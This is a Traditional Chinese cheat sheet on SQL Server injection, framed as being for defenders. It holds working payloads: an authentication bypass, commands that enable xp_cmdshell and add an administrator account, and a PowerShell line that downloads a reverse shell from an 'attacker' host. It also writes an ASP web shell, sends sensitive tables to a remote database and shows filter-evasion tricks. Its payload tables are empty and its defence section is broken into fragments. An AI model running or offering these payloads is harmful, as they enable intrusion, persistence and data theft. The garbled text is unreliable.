警告:本文整理常見 SQL Server 注入攻擊手法,僅供資安人員、開發人員理解攻擊原理、建構防禦體系之用。未經授權對系統進行滲透測試屬違法行為。請勿將此資訊用於惡意用途。
典型脆弱代碼:
sql = "SELECT pwd, answer FROM [member] WHERE userID='" & userID & "' AND answer='" & answer & "'"
攻擊者輸入 ' OR '1'='1 導致條件永真,繞過驗證。
判斷注入點常用 Payload:
; AND 1=1 -- (正常) vs ; AND 1=2 -- (異常)| 目標 | Payload 範例 |
|---|---|
| 猜測資料表 | |
| 猜測欄位 | |
| 猜測欄位長度 | |
| 逐字元暴力 | |
| 利用系統表 |
| 目標 | Payload |
|---|---|
| 版本資訊 | |
| 目前用戶 | |
| 是否 sysadmin | |
| xp_cmdshell 狀態 |
若攻擊者擁有 sysadmin,可透過下列方式執行作業系統命令:
-- 重新啟用 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 執行命令
EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';
-- 反向 Shell (需防火牆允許)
EXEC master..xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''https://attacker/rev.ps1'')"';
-- 遍歷目錄
CREATE TABLE temp (id NVARCHAR(255));
INSERT temp EXEC master..xp_dirtree 'C:\';
SELECT * FROM temp;
-- 讀取檔案
INSERT temp EXEC master..xp_cmdshell 'type C:\web\config.asp';
SELECT * FROM temp;
-- 寫入 WebShell
DECLARE @o INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_OAMethod @o, 'WriteLine', NULL, '<% Execute(Request("cmd")) %>';
-- 開啟遠端資料庫連線 (OpenRowSet)
SELECT * FROM OPENROWSET('SQLOLEDB', 'uid=sa;pwd=pass;Network=DBMSSOCN;Address=192.168.1.100,1433', 'SELECT * FROM targetdb.dbo.sensitive_table');
-- 將資料寫入攻擊者控制的資料庫
INSERT INTO OPENROWSET('SQLOLEDB', 'uid=sa;pwd=pass;Address=192.168.1.100,1433', 'SELECT * FROM attacker_table')
SELECT * FROM local_sensitive_table;
SeLeCt, UnIoN--, ;--, /* */0x73797361646D696E = 'sysadmin')DECLARE @a SYSNAME SET @a='xp_'+'cmdshell' EXEC @a 'dir'cmd.Parameters.Add("@user", SqlDbType.NVarChar, 50).Value = userInput;sa 或 sysadmin,僅授與必要資料表 SELECT/INSERT/UPDATE/DELETE 或 EXECUTE 預存程序權限。xp_cmdshell, sp_OA*, xp_reg*, xp_dirtree 等,若業務必須,嚴格限制執行帳號與審計。xp_cmdshell 呼叫等敏感操作。SQL 注入根因在於資料與代碼未分離。徹底落實參數化查詢、最小權限、錯誤資訊隱藏、危險功能移除、持續監控審計,即可將風險降至最低。安全是系統工程,非單一工具可解,需開發、運維、資安共同建構纵深防禦體系。